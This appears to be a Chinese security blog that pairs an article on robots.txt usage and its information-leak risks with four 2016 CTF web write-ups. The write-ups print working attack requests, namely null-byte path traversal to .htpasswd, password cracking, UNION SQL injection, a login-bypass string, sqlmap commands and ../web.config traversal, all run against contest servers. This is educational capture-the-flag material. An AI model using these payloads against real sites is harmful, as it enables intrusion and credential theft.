Robots.txt 的使用方法與安全注意事項

Robots.txt 是什麼

robots.txt (固定全小寫) 是一個放在網域的根目錄的文字檔案, 裡面的內容用於指示網路爬蟲什麼東西該索引以及什麼東西不該索引, 不難看出網站的SEO與安全性都與這個小小的檔案有莫大的關聯.

由於 robots.txt 是約定成俗的用法並不是一個標準, 因此不能保證遵守以及隱私性(不該給別人看到的東西就要鎖好)

Robots.txt 的使用方法

常見指令

User-agent: 設定什麼爬蟲要遵守接下來的規定
Disallow: 禁止索引
Allow: 歡迎索引
Sitemap: 網站的 Sitemap 位置, 加速爬蟲索引
Crawl-delay: 每一次的請求之前的延遲時間

使用範例

  • 禁止所有爬蟲索引
User-agent: * 
Disallow: /
  • 禁止所有爬蟲索引 /img/ 這個目錄
User-agent: * 
Disallow: /img/
  • 禁止百度爬蟲索引所有內容
User-agent: Baiduspider
Disallow: /
  • 禁止所有爬蟲索引但 Google 爬蟲例外
User-agent: *
Disallow: /
User-agent: Googlebot
Allow: /
  • 每一次存取間隔 1秒
    禁止所有爬蟲索引, 但 Google 爬蟲例外
User-agent: *
Disallow: /

User-agent: Googlebot
Allow: /
Crawl-delay: 1

不是所有的爬蟲都支援 Allow 抵銷 Disallow

  • 不索引任何 js 檔案
User-agent: *
Disallow: /*.js$

路徑匹配方式

超乎預期的影響力

若想要阻擋 /news 這個網頁的存取, 下面這個寫法看起來正確, 但實際上影響範圍更廣

Disallow: /news

這個寫法不只阻擋 /news, 連同 /news-123, /news-234 也都會被阻擋, 只要前面吻合就會忽略

正確寫法

因此正確寫法應該是在末端加入 $(結尾符號), 表示要完全吻合

Disallow: /news$

如此一來就只會不索引 /news, 其餘網頁仍然會正常索引

使用後設(Meta)資料

robots.txt 通常用來阻擋固定不變的內容, 但有時候我們會需要動態生成阻擋名單, 我們不必動態生成 robots.txt, 可以透過在網頁中加入以下後設(Meta)資料, 來達到禁止索引的效果

<meta name="robots" content="noindex,nofollow" />

爬蟲在讀取該網頁後便會放棄索引網站內容

逆向 SEO

我們可以透過 robots.txt disallow 與 後設(Meta)資料來促使爬蟲移除特定頁面, 藉此移除過期內容以及增加網站資料簡潔度

注意事項

  • 大小寫敏感, /img 不等於 /IMG
  • 文字間的空白會被省略, /hello world 等於 /helloworld

Robots.txt 帶來的資安問題

網站中有很多秘密不想讓別人知道, 其中最常見的就是管理後台,為了避免後台被索引, 我們可能會將 robots.txt 寫成這樣

User-agent: * 
Disallow: /admin/

這樣一來, 攻擊者就無法使用 Google Hacking 技巧來找出後台位置了, 這樣的想法大錯特錯.

對於攻擊者而言, 他可以打開 robots.txt 檔案看看你 Disallow 哪些東西, 等同於告訴攻擊者哪裡有機密, 這是一種此地無銀三百兩的概念.

即使你的後台名稱叫做 /you_will_never_never_guess_where_is_the_admin/, 不管當中有多少 never, 攻擊者都可以直接找到正確位置.

為了避免這類型的問題, 我們可以將 robots.txt 寫成這樣

User-agent: * 
Disallow: /you_will_never

利用路徑匹配的特性, 間接的禁止索引真正的後台位置.

結論

robots.txt 應該視為引導爬蟲索引網站的工具, 而不是保護網站的工具, 任何不希望出現在網路上的資料不應該上傳到網路上, 假若逼不得已必須放到網路上, 必須使用 Http Authorization 之類的存取保護機制保護資料.

SECCON 2016 Writeup – [Web] uncomfortable-web

題目

題目給我們一個介面, 我們必須透過此介面執行程式來訪問位於內網的目標網站

過程

題目提供了簡單的範例程式, 用 curl 取得內網內容

#!/bin/sh
curl -s http://127.0.0.1:81/

從 curl 回傳結果得到了目錄結構資料

<h1>Index of /</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51  </td><td align="right">  - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08  </td><td align="right">612 </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>

目錄中有一個受保護的目錄 authed, 以及一個 select.cgi
在訪問 select.cgi 後, 發現 select.cgi 接受一個參數 txt, 值有 a,b 兩種

select.cgi?txt=a

select.cgi?txt=b

從結果可以知道 select.cgi 會去開位於 authed 內的檔案

Apache 的 HTTP Basic Authentication 是由 .htaccess 設定的

因此請求 .htaccess 檔案, 看看帳號密碼存在哪裡

select.cgi?txt=authed/.htaccess%00

AuthUserFile /var/www/html-inner/authed/.htpasswd
AuthGroupFile /dev/null
AuthName "SECCON 2016"
AuthType Basic
Require user keigo

從檔案中可以得知帳號密碼位於 .htpasswd 內

select.cgi?txt=.htpasswd%00

keigo:LdnoMJCeVy.SE

由於 .htpasswd 存放的是已經 hash 過的結果, 我們可以使用 John The Ripper(JTR) 去爆破出原始內容

john .htpasswd --show

keigo:test

在成功取得 authed 的內容後, 發現有一個 sqlinj/ 目錄

在這個目錄內有 100個 cgi, 隨便打開一個

<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>

從 HTML 內可以知道程式可接受 no 參數, 於是寫一個程式去測試所有cgi

for i in $(seq 1 100);
do
    echo ${i}
    curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/${i}.cgi?no=4822237842%27+or+1--"
done

從結果中發現 72.cgi 是唯一可以被注入的, 於是便透過 sqlite_master 取得資料表結構(SQLite)

curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=4822237842%27+union+select+1,(select+group_concat(sql)+FROM+sqlite_master),3--"

看樣子 flag 應該是放在 f1ags 的 f1ag

CREATE TABLE books (isbn10,isbn13,date),CREATE TABLE f1ags (f1ag)<br>
curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=%27+union+select+1,(select+f1ag+FROM+f1ags),3--"

成功得到 flag

ISBN-10: 1
ISBN-13: SECCON{I want to eventually make a CGC web edition... someday...}
PUBLISH: 3

FLAG

SECCON{I want to eventually make a CGC web edition… someday…}

後記

真的超不舒適的題目
因為過程要一直改檔案後上傳, 所以寫了一個小 script 去上傳 code

import time, requests, StringIO
import lxml.html
target = "http://uncomfortableweb.pwn.seccon.jp/"
command = """\
#!/bin/sh
#curl -s http://127.0.0.1:81/select.cgi?txt=authed/.htaccess%00
"""
resp = requests.post(target, files={"file": StringIO.StringIO(command)}, data={}).text
print lxml.html.fromstring(resp).xpath("//pre/text()")[0]

稍微舒服了一點.

SECCON 2016 Writeup – [Web] basiq

題目

主要目的是要我們找出管理員的密碼 題目在這邊

看樣子這是一個賽馬的網站呢, 既然如此那就讓我來賽個馬吧!, 玩著玩著就輸到脫褲子了…(沒天賦

過程

麻, 看樣子目標根本不是要讓我賽馬得冠軍, 獎品也不是管理員密碼, 只好認份的開始追蹤各種 API, 在測試了一輪後發現前台應該沒有洞

既然API本身沒有洞, 那就來看看 HTML 跟 JS 有沒有藏什麼東西吧!

在追蹤的過程中發現 javascripts/client.js 的 login 內有關於管理員的相關功能

function login(message){
    if(message.status!=='OK'){
        alert(message.error);
        return;
    }
    loginuser = message.data;
    $.getJSON('keiba.cgi?action=expenditure', expenditure);

    var links = [{label:'Race Information',href:'/'},{label:'My Page',href:'/mypage.cgi'}];
    if(loginuser == 'admin'){
        links.push({label:'Admin', href:'/admin/'});
    }
  // ..... 省略

來去逛逛 /admin/ 吧!!, 誒誒誒誒…竟然要密碼耶(這不是廢話嗎XD

來試試看老招吧, admin/' or '1'='1 於是就成功登進去了, 看樣子目標的洞在這裡啊

由於 HTTP Basic Authorization 要 經過 base64 encode, 但 sqlmap 並不能直接注入這個點, 因此得靠 proxy 去做 base64 encode

後來找到發現 Burpsuite 有插件 Encode Authorization Header 可以使用

因為注入點很奇怪, 所以要自行定義, 在錄製檔中用 * 表示注入點, sqlmap 會自己抓到

GET /admin/ HTTP/1.1
Host: basiq.pwn.seccon.jp
Authorization:Basic admin:*
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36

接著呼叫 sqlmap

python sqlmap.py -r basiq.txt --ignore-401 --proxy=http://127.0.0.1:8080 --dbms mysql --threads 10 --dbs

由於注入點不在url 上, 也不是 POST, 因此 sqlmap 會詢問以下問題確認注入的位置

do you want to try URI injections in the target URL itself? [Y/n/q] n 
custom injection marking character ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y

最終取得 admin 的密碼

Database: keiba
Table: ☹☺☻
[2 entries]
+----+-------+------------------+
| id | name  | pass             |
+----+-------+------------------+
| 0  | admin | SECCON{Carnival} |
| 1  | aa    | ' or 1;#         |
+----+-------+------------------+

Flag

SECCON{Carnival}

後記

用 emoji 當 table name 實在是很有梗啊

金盾2016 Writeup – [Web] GSA2016

題目

有一個網站GSA2016, 要我們闖進去找Flag

提示

SEO

解題

網站打開後就看到一張圖然後就沒了

但在source中發現了下面這段javascript, 看樣子是用來載入圖片用的

function update(n, f) {
            $.ajax({
                url: 'ShowPhoto.ashx',
                type: 'POST',
                data: f,
                cache: false,
                success: function (data) {
                    $('#m').html('<img class="img-rounded" src="data:image/png;base64,' + data + '" />');
                },
                error: function (errorText) {
                    alert("Wwoops something went wrong !");
                }
            });
        }
        update("kobe-bryant.png", '{"file_name":"a29iZS1icnlhbnQucG5n"}');

從 js 中可以發現他呼叫了 ShowPhoto.ashx 來取得資源, 參數是檔名的base64, 回傳結果也是 base64

Aspx的網站通常都有 web.config 這個設定檔, 因此將其 base64 encode 後向 ShowPhoto.ashx 請求資源

但並這麼做並沒有得到任何內容, 可能猜測的目錄不對, 改送 ../web.config 接著就得到 Web.config 內容

在 Web.config 中發現有用資訊

<!-- Flag file -->
<add key="keyfile" value="54fb3bd9d6052999fbf5bbd397f483d2af35461fec3c1a8886f52109950aeea611a58ddf7c17efb80f7a754272dbd4955d9b974ee506db6e499e5b162fa78480.key" />

看樣子只要猜到檔案位置就收工了, 這時候想到 Aspx 通常會將一些資料放在 App_Data, 因此向 ShowPhoto.ashx 取得這個檔案, Flag Get!

Flag

Live in the present moment!

註記

題目一開始給的提示 SEO 是提示我們去看 robots.txt 這個檔案, 其中 Disallow: App_Data 暗示檔案位置

QiwiCTF2016 Writeup – [Web] javascript

題目

網頁中提供一個欄位讓使用者輸入 Key, 程式會驗證是否正確
而這把 key 就是 這題的 flag.

過程

該檢查函數資料如下

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('18 10(){1a(1b("%o%p%9%3%8%g%a%9%0%1%9%3%a%5%1%6%e%8%2%7%0%F%b%0%0%0%0%j%4%2%0%3%c%4%2%e%0%d%0%G%u%M%D%1c%1d%N%16%11%13%14%17%15%R%w%19%1p%1l%Q%1m%P%1n%U%12%X%V%Y%4%i%3%5%1%o%t%c%g%z%1o%m%1e%9%a%L%1k%2%e%8%p%j%A%1j%1f%E%q%l%s%v%O%1g%n%1h%I%Z%r%1i%d%G%f%b%0%0%0%0%j%4%2%0%1%9%3%a%5%1%5%0%d%0%C%B%f%b%0%0%0%0%j%4%2%0%3%0%d%0%q%f%b%0%0%0%0%A%c%g%m%1%0%6%3%0%k%0%e%8%2%h%m%1%9%t%8%c%7%0%F%b%0%0%0%0%0%0%0%0%j%4%2%0%i%q%0%d%0%e%8%2%h%3%c%4%2%D%a%5%1%u%8%6%3%r%r%7%f%b%0%0%0%0%0%0%0%0%j%4%2%0%i%l%0%d%0%e%8%2%h%3%c%4%2%D%a%5%1%u%8%6%3%r%r%7%f%b%0%0%0%0%0%0%0%0%j%4%2%0%i%s%0%d%0%e%8%2%h%3%c%4%2%D%a%5%1%u%8%6%3%r%r%7%f%b%0%0%0%0%0%0%0%0%j%4%2%0%i%p%o%0%d%0%6%i%q%0%k%k%0%l%n%7%0%r%0%6%6%i%l%0%J%J%0%q%7%0%k%k%0%I%7%0%r%0%6%i%s%0%J%J%0%q%7%f%b%0%0%0%0%0%0%0%0%j%4%2%0%g%q%0%d%0%6%i%p%o%0%K%0%6%n%v%0%k%k%0%l%I%7%7%0%y%y%0%l%I%f%b%0%0%0%0%0%0%0%0%j%4%2%0%g%l%0%d%0%6%i%p%o%0%K%0%6%n%v%0%k%k%0%l%s%7%7%0%y%y%0%l%s%f%b%0%0%0%0%0%0%0%0%j%4%2%0%g%s%0%d%0%g%e%w%4%w%6%i%l%7%0%T%0%n%O%0%S%0%6%i%p%o%0%K%0%6%n%v%0%k%k%0%n%7%7%0%y%y%0%n%f%b%0%0%0%0%0%0%0%0%j%4%2%0%g%v%0%d%0%g%e%w%4%w%6%i%s%7%0%T%0%n%O%0%S%0%6%i%p%o%0%K%0%n%v%7%f%b%0%0%0%0%0%0%0%0%1%9%3%a%5%1%5%C%1%9%3%a%5%1%5%h%m%1%9%t%8%c%B%0%d%0%3%c%4%2%e%h%3%c%4%2%u%8%6%g%q%7%f%b%0%0%0%0%0%0%0%0%1%9%3%a%5%1%5%C%1%9%3%a%5%1%5%h%m%1%9%t%8%c%B%0%d%0%3%c%4%2%e%h%3%c%4%2%u%8%6%g%l%7%f%b%0%0%0%0%0%0%0%0%1%9%3%a%5%1%5%C%1%9%3%a%5%1%5%h%m%1%9%t%8%c%B%0%d%0%3%c%4%2%e%h%3%c%4%2%u%8%6%g%s%7%f%b%0%0%0%0%0%0%0%0%1%9%3%a%5%1%5%C%1%9%3%a%5%1%5%h%m%1%9%t%8%c%B%0%d%0%3%c%4%2%e%h%3%c%4%2%u%8%6%g%v%7%f%b%0%0%0%0%H%b%0%0%0%0%2%1%8%p%2%9%0%1%9%3%a%5%1%5%h%z%a%g%9%6%G%G%7%f%b%0%H%b%g%o%0%6%1%9%3%a%5%1%6%3%8%o%h%L%4%e%e%A%a%2%5%h%j%4%m%p%1%7%0%d%d%0%x%4%z%Q%s%w%11%w%z%3%z%N%A%5%N%Z%o%X%E%M%g%Y%9%U%E%V%E%Q%q%R%P%M%p%x%7%F%4%m%1%2%8%6%x%P%c%4%8%0%2%g%t%c%8%W%x%7%f%H%1%m%e%1%F%4%m%1%2%8%6%x%12%2%a%9%t%0%L%4%e%e%A%a%2%5%W%x%7%f%H%0%b"))}10();',62,88,'20|65|72|63|61|64|28|29|74|6E|6F|0A|68|3D|73|3B|69|2E|62|76|3C|31|6C|36|66|75|30|2B|32|67|41|33|4E|22|3E|6A|77|5D|5B|43|7A|7B|27|7D|38|7C|26|70|42|46|34|54|52|4D|3A|3F|56|59|21|58|5A|39|check|48|57|49|4A|4C|47|4B|function|4F|eval|unescape|44|45|6D|79|35|37|2F|78|71|51|53|55|6B|50'.split('|'),0,{}))

我們可以透過以下兩種方法解開 packer
1. 透過 unPacker
2. 將 eval 改為 console.log 然後執行, 重複這個動作直到內容完全解開

解開後我們可以得到下列的結果

function encode(str) 
    {
        var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        var encoded = [];
        var c = 0;
        while (c < str.length) 
        {
                var b0 = str.charCodeAt(c++);
                var b1 = str.charCodeAt(c++);
                var b2 = str.charCodeAt(c++);
                var buf = (b0 << 16) + ((b1 || 0) << 8) + (b2 || 0);
                var i0 = (buf & (63 << 18)) >> 18;
                var i1 = (buf & (63 << 12)) >> 12;
                var i2 = isNaN(b1) ? 64 : (buf & (63 << 6)) >> 6;
                var i3 = isNaN(b2) ? 64 : (buf & 63);
                encoded[encoded.length] = chars.charAt(i0);
                encoded[encoded.length] = chars.charAt(i1);
                encoded[encoded.length] = chars.charAt(i2);
                encoded[encoded.length] = chars.charAt(i3);

    }
        return encoded.join('');

}
if (encode(ctf.password.value) == "ajR2NHNjcjFwdF9fXzBiZnVzYzR0MTBu")
    {
    alert("That right!");
}
else
    {
    alert("Wrong password!");
}

當中可以得知程式會判斷輸入值encode後是否為 ajR2NHNjcjFwdF9fXzBiZnVzYzR0MTBu
接著觀察 encode 的動作方式, 然後就發現他其實是 base64 encode

Flag

j4v4scr1pt___0bfusc4t10n